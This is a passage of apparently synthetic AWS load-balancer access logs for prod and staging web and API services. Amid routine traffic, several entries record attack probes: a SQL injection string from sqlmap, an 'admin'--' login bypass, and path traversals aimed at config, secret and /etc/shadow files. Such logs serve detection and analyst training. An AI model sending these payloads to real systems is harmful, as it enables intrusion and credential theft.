2024-11-01T00:15:10.266065Z "forward" "-" "-" "40.4.129.68:443" "302" "-" "-" -http 2024-11-01T00:15:10.667150Z staging-alb 21.115.19.28:49230 111.55.232.7:443 0.135310 0.277559 0.035367 301 301 329 13142 "GET /web/test HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723bb1e-7fe91b9cbf3e4afda6a82341" "staging-alb.example.com" "-" 5 2024-11-01T00:15:10.667150Z "forward" "-" "-" "111.55.232.7:443" "301" "-" "-" -https 2024-11-01T00:15:11.013472Z prod-api-alb 184.5.1.71:37579 10.0.236.115:443 0.043639 0.158108 0.089772 301 301 889 11239 "GET /api/v1/products HTTP/1.1" "Python-urllib/3.8" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723bb1f-c287f4ee7aa9413580b2720e" "prod-api-alb.example.com" "-" 10 2024-11-01T00:15:11.013472Z "forward" "-" "-" "10.0.236.115:443" "301" "-" "-" -https 2024-11-01T00:15:12.036900Z prod-web-alb 57.228.70.15:46434 10.0.110.36:443 0.049967 0.425472 0.035894 200 200 577 11797 "GET /checkout HTTP/1.1" "Python-urllib/3.8" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723bb20-d0827b9f1ba24fed8215ca0e" "prod-web-alb.example.com" "-" 9 2024-11-01T00:15:12.036900Z "forward" "-" "-" "10.0.110.36:443" "200" "-" "-" -http 2024-11-01T00:15:13.308125Z staging-alb 2.212.190.207:26394 98.60.224.231:443 0.148343 0.470137 0.122702 200 200 272 11682 "GET /staging/health HTTP/1.1" "Apache-HttpClient/4.5.13 (Java/11.0.19)" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723bb21-d1ba1b5b23bc49508665ba51" "staging-alb.example.com" "-" 5 2024-11-01T00:15:13.308125Z "forward" "-" "-" "98.60.224.231:443" "200" "-" "-" -https 2024-11-01T00:15:13.758152Z prod-api-alb 139.77.220.140:27922 10.0.202.60:443 0.016090 0.292717 0.015402 302 302 718 3612 "GET /api/v1/products HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Edg/119.0.0.0" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723bb21-7c67087e8c5e4eae9b527dbd" "prod-api-alb.example.com" "-" 7 2024-11-01T00:15:13.758152Z "forward" "-" "-" "10.0.202.60:443" "302" "-" "-" -https 2024-11-01T00:15:14.661075Z staging-alb 185.181.26.16:63585 83.167.18.99:80 0.119567 0.674848 0.007135 500 500 732 8271 "GET /api/products?category=1' OR '1'='1 HTTP/1.1" "sqlmap/1.6.12 (http://sqlmap.org)" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723bb22-4ba88d54371d49bea92067a4" "-" "-" 5 2024-11-01T00:15:14.661075Z "forward" "-" "-" "83.167.18.99:80" "500" "-" "-" -https 2024-11-01T00:15:14.847295Z prod-api-alb 101.95.87.1:62977 10.0.214.148:443 0.038557 0.007438 0.054221 200 200 835 9512 "GET /api/v2/users HTTP/1.1" "Apache-HttpClient/4.5.13 (Java/11.0.19)" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723bb22-b04800500c354dfe959552dd" "prod-api-alb.example.com" "-" 2 2024-11-01T00:15:14.847295Z "forward" "-" "-" "10.0.214.148:443" "200" "-" "-" -https 2024-11-01T00:15:15.527228Z prod-api-alb 93.169.33.245:42195 10.0.139.237:443 0.000736 0.293032 0.028402 200 200 372 10527 "GET /api/v1/orders HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723bb23-7c54623e453a4b9ab0b89fb0" "prod-api-alb.example.com" "-" 9 2024-11-01T00:15:15.527228Z "forward" "-" "-" "10.0.139.237:443" "200" "-" "-" -http 2024-11-01T00:15:16.427548Z staging-alb 10.16.136.149:30555 184.78.151.162:8080 0.128037 0.056776 0.096676 200 200 590 4109 "GET /api/v1/products HTTP/1.1" "Mozilla/5.0 (iPhone; CPU iPhone OS 16_6_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.6 Mobile/15E148 Safari/604.1" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723bb24-3416e194405e4b5e9bbd0d89" "staging-alb.example.com" "-" 7 2024-11-01T00:15:16.427548Z "forward" "-" "-" "184.78.151.162:8080" "200" "-" "-" -http 2024-11-01T00:15:16.607701Z staging-alb 193.27.228.156:33083 25.136.42.104:80 0.059046 0.406184 0.034271 403 403 774 7143 "GET /api/../../../config HTTP/1.1" "gobuster/3.5" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723bb24-2ac0433c7adc48c481cb4d5f" "-" "-" 5 2024-11-01T00:15:16.607701Z "forward" "-" "-" "25.136.42.104:80" "403" "-" "-" -https 2024-11-01T00:15:18.119764Z prod-web-alb 83.244.121.86:57645 10.0.141.72:443 0.037293 0.377539 0.029427 301 301 265 3723 "GET /products HTTP/1.1" "Apache-HttpClient/4.5.13 (Java/11.0.19)" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723bb26-1556c901903f4e14b9181f6d" "prod-web-alb.example.com" "-" 7 2024-11-01T00:15:18.119764Z "forward" "-" "-" "10.0.141.72:443" "301" "-" "-" -https 2024-11-01T00:15:19.858696Z staging-alb 75.167.30.75:18239 149.85.169.174:8080 0.108241 0.573809 0.145798 200 200 787 857 "GET /web/test HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723bb27-05bb46ab07724bbc9dac5a45" "staging-alb.example.com" "-" 7 2024-11-01T00:15:19.858696Z "forward" "-" "-" "149.85.169.174:8080" "200" "-" "-" -https 2024-11-01T00:15:20.602661Z staging-alb 216.98.48.10:51980 80.71.246.165:80 0.049838 0.431030 0.028846 200 200 922 11414 "GET /api/v1/products HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Edg/119.0.0.0" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723bb28-74fbb145de8247d49f03cd5a" "staging-alb.example.com" "-" 1 2024-11-01T00:15:20.602661Z "forward" "-" "-" "80.71.246.165:80" "200" "-" "-" -https 2024-11-01T00:15:21.829970Z prod-api-alb 91.58.11.87:59182 10.0.3.90:443 0.083829 0.048790 0.036959 404 404 428 2709 "GET /api/v2/users HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723bb29-bbef3327001b44f9bfa80e89" "prod-api-alb.example.com" "-" 1 2024-11-01T00:15:21.829970Z "forward" "-" "-" "10.0.3.90:443" "404" "-" "-" -https 2024-11-01T00:15:23.170818Z prod-web-alb 131.158.88.72:46470 10.0.203.30:443 0.058741 0.236475 0.010090 302 302 303 14182 "GET /checkout HTTP/1.1" "curl/7.64.1" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723bb2b-848f2bac896a4105990e999d" "prod-web-alb.example.com" "-" 9 2024-11-01T00:15:23.170818Z "forward" "-" "-" "10.0.203.30:443" "302" "-" "-" -https 2024-11-01T00:15:24.925690Z prod-api-alb 45.155.205.149:48734 10.0.253.145:443 0.084856 0.266333 0.035796 200 200 673 6373 "POST /admin/login?username=admin'--&password=x HTTP/1.1" "dirbuster/1.0-RC1" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723bb2c-2f2150f683ac475085584b3f" "-" "-" 3 2024-11-01T00:15:24.925690Z "forward" "-" "-" "10.0.253.145:443" "200" "-" "-" -https 2024-11-01T00:15:25.761223Z staging-alb 53.183.99.209:36020 69.18.68.84:80 0.143992 0.404222 0.146234 200 200 463 3017 "GET /api/v1/products HTTP/1.1" "Apache-HttpClient/4.5.13 (Java/11.0.19)" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723bb2d-84f35242bb3749c1bbfe7ba7" "staging-alb.example.com" "-" 5 2024-11-01T00:15:25.761223Z "forward" "-" "-" "69.18.68.84:80" "200" "-" "-" -https 2024-11-01T00:15:27.235677Z prod-web-alb 193.27.228.156:61359 10.0.112.138:443 0.037852 0.170251 0.085040 404 404 645 6116 "GET /static/../../secret HTTP/1.1" "gobuster/3.5" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723bb2f-a2f8fd8dcfb84659b50af9e4" "-" "-" 3 2024-11-01T00:15:27.235677Z "forward" "-" "-" "10.0.112.138:443" "404" "-" "-" -http 2024-11-01T00:15:28.620732Z staging-alb 2.208.124.156:50209 98.179.153.109:80 0.071342 0.026774 0.120646 302 302 564 2063 "GET /api/v1/products HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723bb30-b94d53c1579949f59ffaebfb" "staging-alb.example.com" "-" 2 2024-11-01T00:15:28.620732Z "forward" "-" "-" "98.179.153.109:80" "302" "-" "-" -https 2024-11-01T00:15:30.072003Z prod-api-alb 107.109.24.128:48135 10.0.65.132:443 0.091508 0.496605 0.040105 302 302 478 4036 "GET /api/health HTTP/1.1" "Apache-HttpClient/4.5.13 (Java/11.0.19)" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723bb32-55f051cd484f47d887820cba" "prod-api-alb.example.com" "-" 2 2024-11-01T00:15:30.072003Z "forward" "-" "-" "10.0.65.132:443" "302" "-" "-" -https 2024-11-01T00:15:31.783072Z prod-api-alb 55.172.46.129:43730 10.0.213.73:443 0.046460 0.144266 0.037485 302 302 35 6453 "GET /api/v1/products HTTP/1.1" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723bb33-683fa2ec71c34d9291773289" "prod-api-alb.example.com" "-" 5 2024-11-01T00:15:31.783072Z "forward" "-" "-" "10.0.213.73:443" "302" "-" "-" -http 2024-11-01T00:15:32.095470Z staging-alb 158.72.66.202:39719 184.60.23.137:8080 0.014612 0.008771 0.089209 301 301 183 9218 "GET /api/v1/products HTTP/1.1" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723bb34-4a65a8dbb1004fcb9f703892" "staging-alb.example.com" "-" 6 2024-11-01T00:15:32.095470Z "forward" "-" "-" "184.60.23.137:8080" "301" "-" "-" -https 2024-11-01T00:15:32.485229Z prod-api-alb 213.21.18.39:50502 10.0.125.51:443 0.026292 0.033508 0.065722 200 200 441 8502 "GET /api/v1/products HTTP/1.1" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723bb34-23f677066f58492dbee0b2de" "prod-api-alb.example.com" "-" 5 2024-11-01T00:15:32.485229Z "forward" "-" "-" "10.0.125.51:443" "200" "-" "-" -http 2024-11-01T00:15:34.381432Z staging-alb 177.216.42.62:41461 41.24.144.218:80 0.021863 0.680436 0.085664 200 200 180 11508 "GET /api/v1/products HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723bb36-8b02144d74804e8b8db15a47" "staging-alb.example.com" "-" 1 2024-11-01T00:15:34.381432Z "forward" "-" "-" "41.24.144.218:80" "200" "-" "-" -https 2024-11-01T00:15:35.226995Z prod-web-alb 176.80.253.123:35014 10.0.218.228:443 0.081843 0.264541 0.030056 301 301 919 12639 "GET /checkout HTTP/1.1" "curl/7.64.1" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723bb37-a6e5cc975f604edbb2f102ce" "prod-web-alb.example.com" "-" 1 2024-11-01T00:15:35.226995Z "forward" "-" "-" "10.0.218.228:443" "301" "-" "-" -https 2024-11-01T00:15:37.220032Z prod-api-alb 45.155.205.51:48994 10.0.247.158:443 0.051492 0.215795 0.099938 403 403 564 14065 "GET /images/../../../../etc/shadow HTTP/1.1" "Acunetix-Agent" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723bb39-89d2b64fb74448d5888b2998" "-" "-" 3 2024-11-01T00:15:37.220032Z "forward" "-" "-" "10.0.247.158:443" "403" "-" "-" -https 2024-11-01T00:15:38.446114Z prod-api-alb 210.56.14.113:36941 10.0.254.87:443 0.062768 0.173036 0.053815 200 200 644 5659 "GET /api/v1/orders HTTP/1.1" "Apache-HttpClient/4.5.13 (Java/11.0.19)" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723bb3a-053db482e65645f8a242cb88" "prod-api-alb.example.com" "-" 2 2024-11-01T00:15:38.446114Z "forward" "-" "-" "10.0.254.87:443" "200" "-" "-" -http 2024-11-01T00:15:40.099746Z staging-alb 96.254.234.111:58055 237.40.4.45:443 0.092668 0.732302 0.039858 200 200 323 9518 "GET /web/test HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723bb3c-7cdfc90e171b4b968d8c2d4f" "staging-alb.example.com" "-" 10 2024-11-01T00:15:40.099746Z "forward" "-" "-" "237.40.4.45:443" "200" "-" "-" -https 2024-11-01T00:15:41.508702Z prod-api-alb 195.177.125.123:63063 10.0.182.78:443 0.064573 0.191448 0.059110 404 404 973 1988 "GET /api/health HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723bb3d-49bd767ff897488c817299f1" "prod-api-alb.example.com" "-" 9 2024-11-01T00:15:41.508702Z "forward" "-" "-" "10.0.182.78:443" "404" "-" "-" -https 2024-11-01T00:15:41.785433Z prod-api-alb 27.159.94.160:54055 10.0.16.148:443 0.070827 0.333958 0.052989 200 200 850 12859 "GET /api/v1/products HTTP/1.1" "Mozilla/5.0 (iPhone; CPU iPhone OS 16_6_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.6 Mobile/15E148 Safari/604.1" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723bb3d-47b2069f37dd487c832e1f4b" "prod-api-alb.example.com" "-" 8 2024-11-01T00:15:41.785433Z "forward" "-" "-" "10.0.16.148:443" "200" "-" "-" -https 2024-11-01T00:15:42.671423Z staging-alb 196.116.31.139:28983 121.215.37.12:80 0.073506 0.689349 0.033363 200 200 703 6239 "GET /api/v1/products HTTP/1.1" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723bb3e-1150a5699fe54f67bec80571" "staging-alb.example.com" "-" 8 2024-11-01T00:15:42.671423Z "forward" "-" "-" "121.215.37.12:80" "200" "-" "-" -https 2024-11-01T00:15:43.759577Z prod-web-alb 154.126.50.220:25576 10.0.178.104:443 0.025441 0.277218 0.079735 200 200 345 7867 "GET /cart HTTP/1.1" "Mozilla/5.0 (iPhone; CPU iPhone OS 16_6_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.6 Mobile/15E148 Safari/604.1" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723bb3f-b6e473459af243138dfb5799" "prod-web-alb.example.com" "-" 7 2024-11-01T00:15:43.759577Z "forward" "-" "-" "10.0.178.104:443" "200" "-" "-" -http 2024-11-01T00:15:45.412911Z staging-alb 75.11.239.110:19660 159.114.222.192:8080 0.008461 0.420675 0.019508 200 200 567 6057 "GET /web/test HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Edg/119.0.0.0" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723bb41-fc0d5552a06a4f4bb08744ed" "staging-alb.example.com" "-" 3 2024-11-01T00:15:45.412911Z "forward" "-" "-" "159.114.222.192:8080" "200" "-" "-" -https 2024-11-01T00:15:46.002888Z prod-web-alb 83.236.245.173:28056 10.0.219.212:443 0.024668 0.373735 0.009139 200 200 47 13081 "GET /cart HTTP/1.1" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723bb42-c9ae51d568634c32a6e3e00a" "prod-web-alb.example.com" "-" 4 2024-11-01T00:15:46.002888Z "forward" "-" "-" "10.0.219.212:443" "200" "-" "-" -https 2024-11-01T00:15:46.687239Z staging-alb 41.117.51.234:37352 174.213.149.166:443 0.067068 0.644168 0.021901 200 200 366 6720 "GET /api/v1/products HTTP/1.1" "Mozilla/5.0 (iPhone; CPU iPhone OS 16_6_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.6 Mobile/15E148 Safari/604.1" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723bb42-d02452af2d2f4da185c79621" "staging-alb.example.com" "-" 6 2024-11-01T00:15:46.687239Z "forward" "-" "-" "174.213.149.166:443" "200" "-" "-" -https 2024-11-01T00:15:47.919281Z prod-api-alb 119.134.207.77:10458 10.0.230.26:443 0.006278 0.342727 0.051717 200 200 770 2612 "GET /api/v2/users HTTP/1.1" "Apache-HttpClient/4.5.13 (Java/11.0.19)" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723bb43-b425a6d1966a4019bc11a23e" "prod-api-alb.example.com" "-" 6 2024-11-01T00:15:47.919281Z "forward" "-" "-" "10.0.230.26:443" "200" "-" "-" -https 2024-11-01T00:15:49.346735Z prod-web-alb 27.247.68.19:22398 10.0.57.8:443 0.076201 0.223491 0.043716 200 200 996 1747 "GET /checkout HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Edg/119.0.0.0" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723bb45-5c3c587c9021430f89316018" "prod-web-alb.example.com" "-" 2 2024-11-01T00:15:49.346735Z "forward" "-" "-" "10.0.57.8:443" "200" "-" "-" -https 2024-11-01T00:15:51.240282Z staging-alb 129.195.248.11:45860 5.226.174.190:443 0.104077 0.129338 0.109891 404 404 232 9558 "GET /web/test HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723bb47-b751748231b3404ebc70b13e" "staging-alb.example.com" "-" 9 2024-11-01T00:15:51.240282Z "forward" "-" "-" "5.226.174.190:443" "404" "-" "-" -https 2024-11-01T00:15:51.422808Z prod-web-alb 4.99.225.43:39690 10.0.146.174:443 0.059840 0.222987 0.014543 302 302 131 13725 "GET /cart HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723bb47-3f630d1e7b224f9a8636821a" "prod-web-alb.example.com" "-" 8 2024-11-01T00:15:51.422808Z "forward" "-" "-" "10.0.146.174:443" "302" "-" "-" -https 2024-11-01T00:15:52.288885Z prod-api-alb 243.95.181.110:34521 10.0.220.239:443 0.042196 0.156928 0.004445 200 200 363 5101 "GET /api/health HTTP/1.1" "Python-urllib/3.8" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723bb48-7a8d1d8463394ae5a8ad5396" "prod-api-alb.example.com" "-" 7 2024-11-01T00:15:52.288885Z "forward" "-" "-" "10.0.220.239:443" "200" "-" "-" -http 2024-11-01T00:15:53.492127Z staging-alb 248.218.49.33:24837 239.15.196.7:80 0.062454 0.335734 0.026081 200 200 856 6059 "GET /api/v1/products HTTP/1.1" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723bb49-d3a3a81ee24747d68abb5698" "staging-alb.example.com" "-" 4 2024-11-01T00:15:53.492127Z "forward" "-" "-" "239.15.196.7:80" "200" "-" "-" -https 2024-11-01T00:15:54.459267Z prod-web-alb 240.41.22.26:56468 10.0.69.251:443 0.032342 0.011240 0.039844 200 200 572 6818 "GET /images/logo.png HTTP/1.1" "Mozilla/5.0 (iPhone; CPU iPhone OS 16_6_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.6 Mobile/15E148 Safari/604.1" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723bb4a-223937ca0362438ab599306e" "prod-web-alb.example.com" "-" 6 2024-11-01T00:15:54.459267Z "forward" "-" "-" "10.0.69.251:443" "200" "-" "-" -https 2024-11-01T00:15:56.332293Z prod-api-alb 199.82.238.149:23701 10.0.249.28:443 0.093365 0.190006 0.047261 200 200 486 8433 "GET /api/v1/orders HTTP/1.1" "Python-urllib/3.8" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723bb4c-4105b5d3ea9043da86b41bda" "prod-api-alb.example.com" "-" 7 2024-11-01T00:15:56.332293Z "forward" "-" "-" "10.0.249.28:443" "200" "-" "-" -https 2024-11-01T00:15:57.186627Z staging-alb 183.61.75.105:32518 41.197.10.226:8080 0.007098 0.095064 0.112052 200 200 932 8451 "GET /web/test HTTP/1.1" "Mozilla/5.0 (iPhone; CPU iPhone OS 16_6_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.6 Mobile/15E148 Safari/604.1" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723bb4d-7b4a60f7d2c74bff9306f1ae" "staging-alb.example.com" "-" 8 2024-11-01T00:15:57.186627Z "forward" "-" "-" "41.197.10.226:8080" "200" "-" "-" -https 2024-11-01T00:15:57.534161Z prod-api-alb 201.114.174.122:31755 10.0.240.220:443 0.037902 0.387871 0.083410 200 200 645 14730 "GET /api/v2/users HTTP/1.1" "curl/7.64.1" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723bb4d-f3be94c0fce04c08b33559d4" "prod-api-alb.example.com" "-" 9 2024-11-01T00:15:57.534161Z "forward" "-" "-" "10.0.240.220:443" "200" "-" "-" -https 2024-11-01T00:15:59.221485Z staging-alb 44.249.134.103:40045 239.50.228.107:80 0.137744 0.480171 0.103099 200 200 610 10042 "GET /staging/health HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723bb4f-5df41616dff2425fa44618f7" "staging-alb.example.com" "-" 6 2024-11-01T00:15:59.221485Z "forward" "-" "-" "239.50.228.107:80" "200" "-" "-" -https 2024-11-01T00:16:00.623916Z prod-web-alb 229.212.42.119:37353 10.0.239.83:443 0.074952 0.227306 0.021779 302 302 522 12157 "GET /assets/main.css HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723bb50-9b1b4fc93ea447c3b8bca247" "prod-web-alb.example.com" "-" 3 2024-11-01T00:16:00.623916Z "forward" "-" "-" "10.0.239.83:443" "302" "-" "-" -https 2024-11-01T00:16:02.506450Z staging-alb 